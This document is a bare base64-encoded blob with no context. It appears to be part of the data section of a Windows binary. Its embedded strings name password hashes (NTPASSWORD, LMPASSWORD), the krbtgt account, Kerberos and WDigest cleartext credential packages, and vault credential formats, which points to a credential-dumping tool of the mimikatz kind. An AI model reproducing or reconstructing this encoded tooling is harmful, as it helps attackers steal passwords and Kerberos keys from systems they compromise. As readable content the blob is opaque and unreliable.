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AAAAqAAAAMAAAAAAAAAACAAAAFCjB4ABAAAAYAAAAJgAAAAIAQAAGAEAACgBAAA4AQAAQAEAAAAAAAAgAAAAKAAAADAAAABAAAAAUAAAAGAAAABwAAAAeAAAAIAAAACIAAAAyAAAANAAAADYAAAABAEAABABAAAIAQAAIAEAAAAAAAD4AAAAAAAAABgAAAAAAAAAEAAAAAAAAAAoAAAAAAAAADQAAABIAAAAOAAAAAAAAABQAAAAiAAAAPgAAAAQAQAAKAEAAEABAABIAQAAAAAAACAAAAAoAAAAMAAAAEAAAABQAAAAYAAAAHAAAACAAAAAiAAAAJAAAAC4AAAAwAAAAMgAAAD0AAAAAAEAAPgAAAAQAQAAAAAAAOgAAAAAAAAAGAAAAAAAAAAQAAAAAAAAACgAAAAAAAAANAAAAEgAAAA4AAAAAAAAAEAAAAB4AAAA6AAAAAABAAAYAQAAMAEAADgBAAAAAAAAIAAAACgAAAAwAAAAQAAAAFAAAABgAAAAcAAAAIAAAACIAAAAkAAAALgAAADAAAAAyAAAAPQAAAAAAQAA+AAAABABAAAAAAAA2AAAAAAAAAAoAAAAAAAAABgAAAAAAAAAMAAAAAAAAAA4AAAAWAAAAEAAAAAAAAAAQAAAAHgAAADoAAAAAAEAABgBAAAwAQAAOAEAAAAAAAAgAAAAKAAAADAAAABAAAAAUAAAAGAAAACQAAAAoAAAAKgAAACwAAAA2AAAAOAAAADoAAAAFAEAACABAAAYAQAAMAEAAAAAAADYAAAAAAAAACgAAAAAAAAAGAAAAAAAAAAwAAAAAAAAADgAAABYAAAAQAAAAAAAAABAAAAAeAAAAOgAAAAAAQAAGAEAADABAAA4AQAAAAAAACAAAAAoAAAAMAAAAEAAAABQAAAAYAAAAJAAAACgAAAAqAAAALAAAADYAAAA4AAAAOgAAAAUAQAAIAEAABgBAAAwAQAAAAAAANgAAAAAAAAAKAAAAAAAAAAYAAAAAAAAADAAAAAAAAAAQAAAAGAAAABIAAAAAAAAAEgAAACIAAAAGAEAADABAABIAQAAYAEAAGgBAAAAAAAAIAAAACgAAAAwAAAAQAAAAFAAAABgAAAAkAAAAKAAAACoAAAAsAAAANgAAADgAAAA6AAAABQBAAAgAQAAGAEAADABAAAAAAAACAEAAAAAAAAoAAAAAAAAABgAAAAAAAAAMAAAAAAAAABIAAAAaAAAAFAAAAAAAAAAeBIHgAEAAACoEgeAAQAAAMgSB4ABAAAA8KMHgAEAAAAOAA8AAAAAAPgVB4ABAAAABwAIAAAAAADwFQeAAQAAAECkB4ABAAAAsKUHgAEAAABQpgeAAQAAAJCnB4ABAAAAAAAAAAAAAAAlACoAcwAqACoAQwBSAEUARABFAE4AVABJAEEATAAqACoACgAAAAAAJQAqAHMAIAAgAGMAcgBlAGQARgBsAGEAZwBzACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAAAAAAAAAAAAlACoAcwAgACAAYwByAGUAZABTAGkAegBlACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAAAAAAAAAAACUAKgBzACAAIABjAHIAZQBkAFUAbgBrADAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAKAAAAAAAAAAAAAAAAAAAAJQAqAHMAIAAgAFQAeQBwAGUAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAAAAAAAAAAAAlACoAcwAgACAARgBsAGEAZwBzACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAATABhAHMAdABXAHIAaQB0AHQAZQBuACAAIAAgACAAOgAgAAAAAAAKAAAAAAAAACUAKgBzACAAIAB1AG4AawBGAGwAYQBnAHMATwByAFMAaQB6AGUAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAAAAAAAAAAAAAJQAqAHMAIAAgAFAAZQByAHMAaQBzAHQAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAAAAAAAAAAAAlACoAcwAgACAAQQB0AHQAcgBpAGIAdQB0AGUAQwBvAHUAbgB0ACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAAAAAAAAAAACUAKgBzACAAIAB1AG4AawAwACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAAAAAAAAAAAAAJQAqAHMAIAAgAHUAbgBrADEAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAFQAYQByAGcAZQB0AE4AYQBtAGUAIAAgACAAIAAgADoAIAAlAHMACgAAAAAAAAAlACoAcwAgACAAVABhAHIAZwBlAHQAQQBsAGkAYQBzACAAIAAgACAAOgAgACUAcwAKAAAAAAAAACUAKgBzACAAIABDAG8AbQBtAGUAbgB0ACAAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAAAAJQAqAHMAIAAgAFUAbgBrAEQAYQB0AGEAIAAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAAAAAAAAlACoAcwAgACAAVQBzAGUAcgBOAGEAbQBlACAAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAAAAAACUAKgBzACAAIABDAHIAZQBkAGUAbgB0AGkAYQBsAEIAbABvAGIAIAA6ACAAAAAAACUAdwBaAAAAJQAqAHMAIAAgAEEAdAB0AHIAaQBiAHUAdABlAHMAIAAgACAAIAAgADoAIAAAAAAAJQB1ACAAYQB0AHQAcgBpAGIAdQB0AGUAcwAoAHMAKQAKAAAAAAAAACUAKgBzACoAKgBBAFQAVABSAEkAQgBVAFQARQAqACoACgAAAAAAAAAlACoAcwAgACAARgBsAGEAZwBzACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIABLAGUAeQB3AG8AcgBkACAAOgAgACUAcwAKAAAAAAAlACoAcwAgACAAVgBhAGwAdQBlACAAOgAgAAAAAAAAACUAKgBzACoAKgBWAEEAVQBMAFQAIABQAE8ATABJAEMAWQAqACoACgAAAAAAAAAAACUAKgBzACAAIAB2AGUAcgBzAGkAbwBuACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAJQAqAHMAIAAgAHYAYQB1AGwAdAAgACAAIAA6ACAAAAAlACoAcwAgACAATgBhAG0AZQAgACAAIAAgADoAIAAlAHMACgAAAAAAJQAqAHMAIAAgAHUAbgBrADAALwAxAC8AMgA6ACAAJQAwADgAeAAvACUAMAA4AHgALwAlADAAOAB4AAoAAAAAACUAKgBzACoAKgBWAEEAVQBMAFQAIABQAE8ATABJAEMAWQAgAEsARQBZACoAKgAKAAAAAAAAAAAAJQAqAHMAIAAgAHUAbgBrADAAIAAgADoAIAAAAAAAAAAlACoAcwAgACAAdQBuAGsAMQAgACAAOgAgAAAAAAAAACUAKgBzACoAKgBWAEEAVQBMAFQAIABDAFIARQBEAEUATgBUAEkAQQBMACoAKgAKAAAAAAAAAAAAJQAqAHMAIAAgAFMAYwBoAGUAbQBhAEkAZAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAlACoAcwAgACAAdQBuAGsAMAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIABMAGEAcwB0AFcAcgBpAHQAdABlAG4AIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAAAAlACoAcwAgACAAdQBuAGsAMQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIAB1AG4AawAyACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAJQAqAHMAIAAgAEYAcgBpAGUAbgBkAGwAeQBOAGEAbQBlACAAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAACUAKgBzACAAIABkAHcAQQB0AHQAcgBpAGIAdQB0AGUAcwBNAGEAcABTAGkAegBlACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAJQAqAHMAIAAgACoAIABBAHQAdAByAGkAYgB1AHQAZQAgACUAMwB1ACAAQAAgAG8AZgBmAHMAZQB0ACAAJQAwADgAeAAgAC0AIAAlAHUAIAAgACgAdQBuAGsAIAAlADAAOAB4ACAALQAgACUAdQApAAoAAAAAAAAAAAAAAAAAAAAlACoAcwAqACoAVgBBAFUATABUACAAQwBSAEUARABFAE4AVABJAEEATAAgAEEAVABUAFIASQBCAFUAVABFACoAKgAKAAAAAAAlACoAcwAgACAAaQBkACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIABJAFYAIAAgACAAIAAgACAAOgAgAAAAJQAqAHMAIAAgAEQAYQB0AGEAIAAgACAAIAA6ACAAAAAlACoAcwAqACoAVgBBAFUATABUACAAQwBSAEUARABFAE4AVABJAEEATAAgAEMATABFAEEAUgAgAEEAVABUAFIASQBCAFUAVABFAFMAKgAqAAoAAAAAAAAAJQAqAHMAIAAgAHYAZQByAHMAaQBvAG4AOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAYwBvAHUAbgB0ACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIAB1AG4AawAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgACoAIAAAAHIAZQBzAHMAbwB1AHIAYwBlACAAIAAgACAAIAA6ACAAAAAAAAAAAABpAGQAZQBuAHQAaQB0AHkAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAYQB1AHQAaABlAG4AdABpAGMAYQB0AG8AcgAgADoAIAAAAAAAAAAAAHAAcgBvAHAAZQByAHQAeQAgACUAMwB1ACAAIAA6ACAAAAAAACUAcwAAAAAAAAAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAEMAVQBSAFIARQBOAFQAXwBVAFMARQBSAAAAAAAAAAAAAAAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAEMAVQBSAFIARQBOAFQAXwBVAFMARQBSAF8ARwBSAE8AVQBQAF8AUABPAEwASQBDAFkAAAAAAAAAAAAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAEwATwBDAEEATABfAE0AQQBDAEgASQBOAEUAAABDAEUAUgBUAF8AUwBZAFMAVABFAE0AXwBTAFQATwBSAEUAXwBMAE8AQwBBAEwAXwBNAEEAQwBIAEkATgBFAF8ARwBSAE8AVQBQAF8AUABPAEwASQBDAFkAAAAAAAAAAABDAEUAUgBUAF8AUwBZAFMAVABFAE0AXwBTAFQATwBSAEUAXwBMAE8AQwBBAEwAXwBNAEEAQwBIAEkATgBFAF8ARQBOAFQARQBSAFAAUgBJAFMARQAAAAAAAAAAAAAAAABDAEUAUgBUAF8AUwBZAFMAVABFAE0AXwBTAFQATwBSAEUAXwBDAFUAUgBSAEUATgBUAF8AUwBFAFIAVgBJAEMARQAAAAAAAABDAEUAUgBUAF8AUwBZAFMAVABFAE0AXwBTAFQATwBSAEUAXwBVAFMARQBSAFMAAABDAEUAUgBUAF8AUwBZAFMAVABFAE0AXwBTAFQATwBSAEUAXwBTAEUAUgBWAEkAQwBFAFMAAAAAAE0AUwBfAEQARQBGAF8AUABSAE8AVgAAAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAgAHYAMQAuADAAAAAAAE0AUwBfAEUATgBIAEEATgBDAEUARABfAFAAUgBPAFYAAAAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAbgBoAGEAbgBjAGUAZAAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAIAB2ADEALgAwAAAAAABNAFMAXwBTAFQAUgBPAE4ARwBfAFAAUgBPAFYAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAUwB0AHIAbwBuAGcAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAATQBTAF8ARABFAEYAXwBSAFMAQQBfAFMASQBHAF8AUABSAE8AVgAAAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABSAFMAQQAgAFMAaQBnAG4AYQB0AHUAcgBlACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAAAAAATQBTAF8ARABFAEYAXwBSAFMAQQBfAFMAQwBIAEEATgBOAEUATABfAFAAUgBPAFYAAAAAAAAAAAAAAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAUgBTAEEAIABTAEMAaABhAG4AbgBlAGwAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAAAAAAAE0AUwBfAEQARQBGAF8ARABTAFMAXwBQAFIATwBWAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAARABTAFMAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAAAAAAAE0AUwBfAEQARQBGAF8ARABTAFMAXwBEAEgAXwBQAFIATwBWAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEIAYQBzAGUAIABEAFMAUwAgAGEAbgBkACAARABpAGYAZgBpAGUALQBIAGUAbABsAG0AYQBuACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAAAAAAAAAAAE0AUwBfAEUATgBIAF8ARABTAFMAXwBEAEgAXwBQAFIATwBWAAAAAAAAAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAARQBuAGgAYQBuAGMAZQBkACAARABTAFMAIABhAG4AZAAgAEQAaQBmAGYAaQBlAC0ASABlAGwAbABtAGEAbgAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAAAAAABNAFMAXwBEAEUARgBfAEQASABfAFMAQwBIAEEATgBOAEUATABfAFAAUgBPAFYAAAAAAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAARABIACAAUwBDAGgAYQBuAG4AZQBsACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAAAAAAAAAAAE0AUwBfAFMAQwBBAFIARABfAFAAUgBPAFYAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAAUwBtAGEAcgB0ACAAQwBhAHIAZAAgAEMAcgB5AHAAdABvACAAUAByAG8AdgBpAGQAZQByAAAAAAAAAE0AUwBfAEUATgBIAF8AUgBTAEEAXwBBAEUAUwBfAFAAUgBPAFYAXwBYAFAAAAAAAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAG4AaABhAG4AYwBlAGQAIABSAFMAQQAgAGEAbgBkACAAQQBFAFMAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByACAAKABQAHIAbwB0AG8AdAB5AHAAZQApAAAAAAAAAE0AUwBfAEUATgBIAF8AUgBTAEEAXwBBAEUAUwBfAFAAUgBPAFYAAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAbgBoAGEAbgBjAGUAZAAgAFIAUwBBACAAYQBuAGQAIABBAEUAUwAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAAAAUABSAE8AVgBfAFIAUwBBAF8ARgBVAEwATAAAAAAAAABQAFIATwBWAF8AUgBTAEEAXwBTAEkARwAAAAAAAAAAAFAAUgBPAFYAXwBEAFMAUwAAAA